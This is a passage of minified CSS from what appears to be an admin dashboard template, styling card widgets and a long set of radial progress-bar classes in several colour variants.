rgba(62,57,107,0.2);transform:rotate(-15deg) translatey(5px)}.social-res-card .progress{height:6px}.product-progress-card .progress{height:6px}.product-progress-card .pp-cont{padding-left:15px;padding-right:15px;position:relative}.product-progress-card .pp-cont:after{content:"";background:#d2d2d2;width:1px;height:100%;position:absolute;top:0;left:-15px}.product-progress-card .pp-main>div:first-child .pp-cont:after{display:none}@media only screen and (max-width: 992px){.product-progress-card .pp-cont{margin-top:15px;margin-bottom:15px}.product-progress-card .pp-cont:after{display:none}}.social-card h2{text-shadow:0 8px 15px rgba(51,51,51,0.2);transition:all 0.3s ease-in-out}.social-card:hover h2{text-shadow:0 4px 4px rgba(51,51,51,0.2);transform:scale(0.9) translatey(5px)}.user-card{overflow:hidden}.user-card .user-img{border-radius:50%;display:flex;align-items:center;width:80px;height:80px;margin:0 auto;position:relative;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-img h5{margin:0 auto}.user-card .user-img .link-share{position:absolute;padding:4px 0;right:0;bottom:0;border-radius:50%;width:25px;height:25px;background:#fff;color:#666;box-shadow:0 8px 15px 0 rgba(51,51,51,0.2)}.user-card .user-sub-img{position:relative;margin:30px 0 10px;padding-top:30px}.user-card .user-sub-img>img{width:30px;cursor:pointer;margin:5px}.user-card .user-sub-img:after{content:"";width:30px;height:1px;background:#2b2b2b;position:absolute;top:0;right:calc(50% - 15px)}.user-card .f-btn{cursor:pointer;transition:all 0.3s ease-in-out}.user-card .f-btn a{transition:all 0.3s ease-in-out}.user-card .f-btn:hover{background-color:#99caff;box-shadow:inset 0 5px 7px -3px rgba(43,43,43,0.15)}.user-card .f-btn:hover a{color:#007bff}.soc-cont-card{color:#fff;position:relative;overflow:hidden}.soc-cont-card .soc-slider{margin-right:85px}.soc-cont-card .soc-cont-icon{color:#fff;font-size:50px;width:100px;text-align:center;position:absolute;right:0;top:20px}.soc-cont-card .num-block{background:#fff;color:#ef4153;padding:8px 15px;display:inline-block;margin:5px 0 10px;border-radius:5px;box-shadow:inset 0 1px 3px -1px rgba(43,43,43,0.25)}.soc-cont-card .num-block+.num-block{margin-left:15px}.soc-cont-card .num-block i{font-size:16px;opacity:1}.soc-cont-card .card-block{margin-bottom:20px;padding-bottom:10px}.soc-cont-card:after{content:"";background:rgba(255,255,255,0.5);height:20px;width:100%;position:absolute;bottom:0;left:0}@media only screen and (max-width: 575px){.soc-cont-card .soc-slider{margin-right:0}.soc-cont-card .soc-cont-icon{font-size:40px;width:50px;top:auto;bottom:35px}}.st-cir-card{position:relative;overflow:hidden}.st-cir-card .st-bt-lbl{font-size:60px;font-weight:700;opacity:0.3;position:absolute;bottom:-30px;right:-5px}.st-cir-card .st-cir-chart{position:relative}.st-cir-card .st-cir-chart h5{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.st-cir-card .ct-series-a .ct-slice-donut{stroke:#fff}.st-cir-card.card-red .ct-series-b path{stroke:#fa97ab}.st-cir-card.card-blue .ct-series-b path{stroke:#66b0ff}.st-cir-card.card-green .ct-series-b path{stroke:#7ee3b8}.st-cir-card.card-yellow .ct-series-b path{stroke:#fdb5a4}.prod-bar-card .pbc-chart{width:50px;margin:0 auto 10px}.prod-bar-card .radial-bar:after{box-shadow:0 0 3px #fff}.sale-card .s-chart{position:relative}.sale-card .s-chart .bottom-line{background:#ccc;position:absolute;width:80px;height:3px;bottom:30px;left:50%;transform:translatex(-50%)}.sale-card .radial-bar{margin:15px 0 35px}.sale-card .radial-bar>img{box-shadow:0 0 0 8px #fff}.sale-card .s-caption{width:20px;height:20px;border-radius:5px;display:inline-block;vertical-align:super;margin-right:5px}.sale-card .progress{height:5px}.sale-card .tot-rev-chart{position:relative;margin:0 auto}.sale-card .tot-rev-chart .ct-series-b path{stroke:#fff}.sale-card .tot-rev-chart .ct-series-a .ct-slice-donut{stroke:#fb6340}.sale-card .tot-rev-chart h3{position:absolute;margin-bottom:0;top:50%;left:50%;transform:translate(-50%, -50%)}.new-cust-card img{border:2px solid #fff;box-shadow:0 5px 10px 0 rgba(43,43,43,0.2)}.new-cust-card h6{margin-bottom:0}.new-cust-card .align-middle{position:relative}.new-cust-card .align-middle .status{position:absolute;right:0;top:19px;font-size:13px}.new-cust-card .align-middle .status.active{width:10px;height:10px;border-radius:50%;background:#2dce89}.table-card .card-block{padding-left:0;padding-right:0;padding-top:0}.table-card .card-block .table>thead>tr>th{border-top:0}.table-card .card-block .table tr td:first-child,.table-card .card-block .table tr th:first-child{padding-left:20px}.table-card .card-block .table tr td:last-child,.table-card .card-block .table tr th:last-child{padding-right:20px}.table-card .card-block .table.without-header tr:first-child td{border-top:none}.table-card .p-status{width:10px;height:10px;border-radius:50%}.latest-update-card .card-block{padding-top:0}.latest-update-card .card-block .latest-update-box{position:relative}.latest-update-card .card-block .latest-update-box:after{content:"";position:absolute;background:#ebebeb;height:100%;width:3px;top:0;left:19px;z-index:1}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2}.latest-update-card .card-block .latest-update-box .update-meta .update-icon{width:30px;height:30px;border-radius:50%;text-align:center;padding:7px 8px;font-size:16px;color:#fff}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red{box-shadow:0 0 0 4px rgba(245,54,92,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue{box-shadow:0 0 0 4px rgba(0,123,255,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green{box-shadow:0 0 0 4px rgba(45,206,137,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow{box-shadow:0 0 0 4px rgba(251,99,64,0.5)}.latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring{border-width:3px;width:15px;height:15px;padding:0;display:block;margin-left:13px;background:#fff}.latest-update-card .card-block .latest-update-box .update-meta i.update-icon{margin-left:4px;margin-right:19px}.latest-update-card .card-block .latest-update-box .update-meta img.update-icon{padding:0;width:40px;height:40px}@media only screen and (max-width: 575px){.latest-update-card .card-block .latest-update-box:after{display:none}.latest-update-card .card-block .latest-update-box .update-meta{z-index:2;min-width:100%;text-align:left !important;margin-bottom:15px;border-top:1px solid #f1f1f1;padding-top:15px}}.testimonial-card .progress{height:5px}.testimonial-card .review-block .cust-img{width:50px;height:50px}.testimonial-card .review-block>div{padding-top:15px;padding-bottom:15px;margin-left:0;margin-right:0;padding-left:5px;padding-right:5px}.testimonial-card .review-block>div:hover{background-color:rgba(0,123,255,0.1)}.feed-card h6{margin-top:7px}.feed-card .feed-icon{color:#fff;border-radius:50%;width:30px;height:30px;text-align:center;padding:8px 9px}.chat-card .msg{margin-bottom:5px;display:inline-block;padding:10px;position:relative}.chat-card .msg img{width:60px;border-radius:5px;margin-bottom:5px;margin-top:5px;margin-right:10px}.chat-card .received-chat .msg{background:rgba(0,123,255,0.1);border-radius:0 5px 5px 5px;box-shadow:2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .received-chat .msg:after{content:"";position:absolute;left:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-bottom-color:rgba(0,123,255,0.1)}.chat-card .send-chat{text-align:right}.chat-card .send-chat .msg{background:rgba(45,206,137,0.1);border-radius:5px 0 5px 5px;box-shadow:-2px 3px 7px 0 rgba(43,43,43,0.15)}.chat-card .send-chat .msg:after{content:"";position:absolute;right:-7px;top:-7px;transform:rotate(45deg);border:7px solid transparent;border-right-color:rgba(45,206,137,0.1)}.radial-bar{position:relative;display:inline-block;border-radius:50%;background-color:transparent;margin-bottom:20px;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;width:80px;height:80px;font-size:18px}.radial-bar:after,.radial-bar>img{display:inline-block;position:absolute;top:0;left:0;border-radius:50%;text-align:center;font-weight:500;color:#455a64}.radial-bar:after{content:attr(data-label);background-color:#fff;z-index:55}.radial-bar>img{z-index:102}.radial-bar:after,.radial-bar>img{width:56px;height:56px;margin-left:12px;margin-top:12px;line-height:56px}.radial-bar.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-50{background-image:linear-gradient(270deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-55{background-image:linear-gradient(288deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-60{background-image:linear-gradient(306deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-65{background-image:linear-gradient(324deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-70{background-image:linear-gradient(342deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-75{background-image:linear-gradient(360deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-80{background-image:linear-gradient(378deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-85{background-image:linear-gradient(396deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-90{background-image:linear-gradient(414deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-95{background-image:linear-gradient(432deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-primary.radial-bar-100{background-image:linear-gradient(450deg, #448aff 50%, transparent 50%, transparent),linear-gradient(270deg, #448aff 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-50{background-image:linear-gradient(270deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-55{background-image:linear-gradient(288deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-60{background-image:linear-gradient(306deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-65{background-image:linear-gradient(324deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-70{background-image:linear-gradient(342deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-75{background-image:linear-gradient(360deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-80{background-image:linear-gradient(378deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-85{background-image:linear-gradient(396deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-90{background-image:linear-gradient(414deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-95{background-image:linear-gradient(432deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-success.radial-bar-100{background-image:linear-gradient(450deg, #11c15b 50%, transparent 50%, transparent),linear-gradient(270deg, #11c15b 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-50{background-image:linear-gradient(270deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-55{background-image:linear-gradient(288deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-60{background-image:linear-gradient(306deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-65{background-image:linear-gradient(324deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-70{background-image:linear-gradient(342deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-75{background-image:linear-gradient(360deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-80{background-image:linear-gradient(378deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-85{background-image:linear-gradient(396deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-90{background-image:linear-gradient(414deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-95{background-image:linear-gradient(432deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-info.radial-bar-100{background-image:linear-gradient(450deg, #00bcd4 50%, transparent 50%, transparent),linear-gradient(270deg, #00bcd4 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-50{background-image:linear-gradient(270deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-55{background-image:linear-gradient(288deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-60{background-image:linear-gradient(306deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-65{background-image:linear-gradient(324deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-70{background-image:linear-gradient(342deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-75{background-image:linear-gradient(360deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-80{background-image:linear-gradient(378deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-85{background-image:linear-gradient(396deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-90{background-image:linear-gradient(414deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-95{background-image:linear-gradient(432deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-warning.radial-bar-100{background-image:linear-gradient(450deg, #ffe100 50%, transparent 50%, transparent),linear-gradient(270deg, #ffe100 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-0{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(90deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-5{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(108deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-10{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(126deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-15{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(144deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-20{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(162deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-25{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(180deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-30{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(198deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-35{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(216deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-40{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(234deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-45{background-image:linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent),linear-gradient(252deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-50{background-image:linear-gradient(270deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-55{background-image:linear-gradient(288deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-60{background-image:linear-gradient(306deg, #e53935 50%, transparent 50%, transparent),linear-gradient(270deg, #e53935 50%, #d6d6d6 50%, #d6d6d6)}.radial-bar-danger.radial-bar-65{background-image:linear-gradient(324deg, #e53935 